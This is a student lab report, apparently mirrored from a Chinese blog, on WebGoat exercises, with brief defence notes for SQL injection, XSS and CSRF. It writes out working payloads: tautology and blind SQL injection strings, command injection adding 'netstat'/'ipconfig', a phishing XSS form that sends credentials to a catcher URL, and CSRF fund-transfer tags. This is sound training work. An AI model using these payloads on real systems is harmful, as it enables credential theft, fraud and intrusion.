zoukankan      html  css  js  c++  java
  • 2018-2019-2 《网络对抗技术》Exp9 WebGoat 20165323

    一、实验问题回答

    1、SQL注入攻击原理,如何防御
    原理:恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对未对插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。
    防御:

    • 限制查询长度
    • 限制查询类型(权限)
    • 过滤非法字符
    • 正则表达式过滤传入参数
    • 预编译语句集PreparedStatement
      2、XSS攻击的原理,如何防御
      原理:XSS是代码注入的一种,它允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。主要目的是想办法获取目标攻击网站的cookie,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
      防御:
    • 对输入和URL参数进行过滤
    • 在输出数据之前对潜在的威胁的字符进行编码、转义
      3、CSRF攻击原理,如何防御
      原理:跨站请求伪造,通过伪装来自受信任用户的请求来利用web server
      防御:
    • 验证请求中的Token
    • 验证 Referer
    • 添加加随机验证
    • 设定cookie域
      目录
    • SQL攻击
    • XSS攻击
    • CSRF攻击
    • 实验心得体会

    二、实验过程

    WebGoat
    我们本次的实验在WebGoat平台上进行

    WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS、线程安全、SQL注入等。

    普通安装,命令行输入java -jar webgoat-container-7.0.1-war-exec.jar(运行后保持终端,不然没法进入该网页),成功如下图

    浏览器转:localhost:8080/WebGoat 登陆,开始练习,输入的用户名及密码使用默认的

    SQL攻击

    1、SQL字符串注入(String SQL Injection)

    让我们试一试使用SQL注入,从而显示出所有信用卡号。可以先输入Smith试一试,发现出现在SELECT * FROM user_data WHERE last_name = 'Smith'两个单引号中间,也就是我们可以通过控制在输入框中输入的字符串,达到控制select语句的目的

    输入'or 1='1,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1',这句的意思就是查询lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,所以成功通过

    2、日志欺骗(Log Spoofing)

    利用日志的格式,使用换行等字符,欺骗管理员:Use CR (%0d) and LF (%0a) for a new line。
    比如输入yjc%0d%0aLogin Succeeded for username: admin

    3、Numeric SQL Injection

    题目大意是这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据
    和之前的实验类似,只要加上一个1=1这种永真式即可达到我们的目的
    使用inspect Element对源代码进行修改,在任意一个值比如101旁边加上or 1=1

    成功结果如下

    4、Command Injection

    题目的要求是:尝试给操作系统注入命令行,要求能够在目标主机上执行系统命令
    通过火狐浏览器的inspect Element对源代码进行修改,右键点击BackDoors.help,这样就可以直接定位到需要修改的位置,无需一行一行代码的查看了
    例如在BackDoors.help旁边加上"& netstat -an & ipconfig"

    点击view,后面跟着结果

    5、Stage 1:String SQL Injection

    题目要求使用字符串SQL注入在没有正确密码的情况下登录账号boss
    用老套路,以用户Neville登录,在密码栏中输入'or 1='1--进行SQL注入,发现登录失败

    查看了一下网页源码,发现输入框对输入的字符长度进行了限制,对字符长度进行修改

    重新登录,登录成功

    6、Blind String SQL Injection

    要获取name某个位置的具体值,需要借助substring函数,此处引进二分查找方法:在“Enter your Account Number”输入
    101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='5323532353235323'), 1, 1) = 'h' );
    根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:

    7、LAB:SQL Injection

    ,在密码栏中输入or 1=1 --进行SQL注入
    失败

    查看源码发现是对输入长度进行了限制,修改源码再次注入

    成功

    XSS攻击

    1、Phishing with XSS

    这是跨站脚本钓鱼攻击,要求在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点
    在文本框里面输入一个钓鱼网站代码如下

    </form>
      <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " +                         document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    


    在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单如下

    输入用户名密码
    点击登录,WebGoat会将输入的信息捕获并反馈回来,攻击成功

    2、Stored XSS Attacks

    要求创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
    在Message中构造语句<script>alert("5213 attack succeed!");</script>,提交后,可以发现刚刚创建的帖子hello,点击后结果为

    CRSF攻击

    1、Cross Site Request Forgery(CSRF)

    写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件
    在message框中输入

    <img src="http://localhost:8080/WebGoat/attack?
    Screen=288&menu=900&transferFunds=5323"/>
    

    提交后在下面的Message List里面可以看我刚刚发送的消息

    点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5323元,从而达到CSRF攻击的目的

    2、CSRF Prompt By-Pass

    查看页面下侧Parameters中的src和menu值,命名title,message框中输入代码:

    <iframe src="attack?Screen=[scr]menu=[menu]&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=[scr]&menu=[menu]&transferFunds=CONFIRM"> </iframe>
    

    实验总结

    这次实验确实学到了很多东西,原来还有这么个集成攻击小东西,练习中对xss,sql注入有了进一步认识

  • 相关阅读:
    zoj3430Detect the Virus(ac自动机)
    zoj3494BCD Code(ac自动机+数位dp)
    hdu3247Resource Archiver(ac自动机+spfa)
    hdu3341Lost's revenge(ac自动机+dp)
    hdu4511小明系列故事——女友的考验(ac自动机+最短路)
    hdu4758Walk Through Squares(ac自动机+dp)
    数论一
    母函数专题
    KMP专题
    3级算法题
  • 原文地址:https://www.cnblogs.com/asd65360323/p/10920320.html
Copyright © 2011-2022 走看看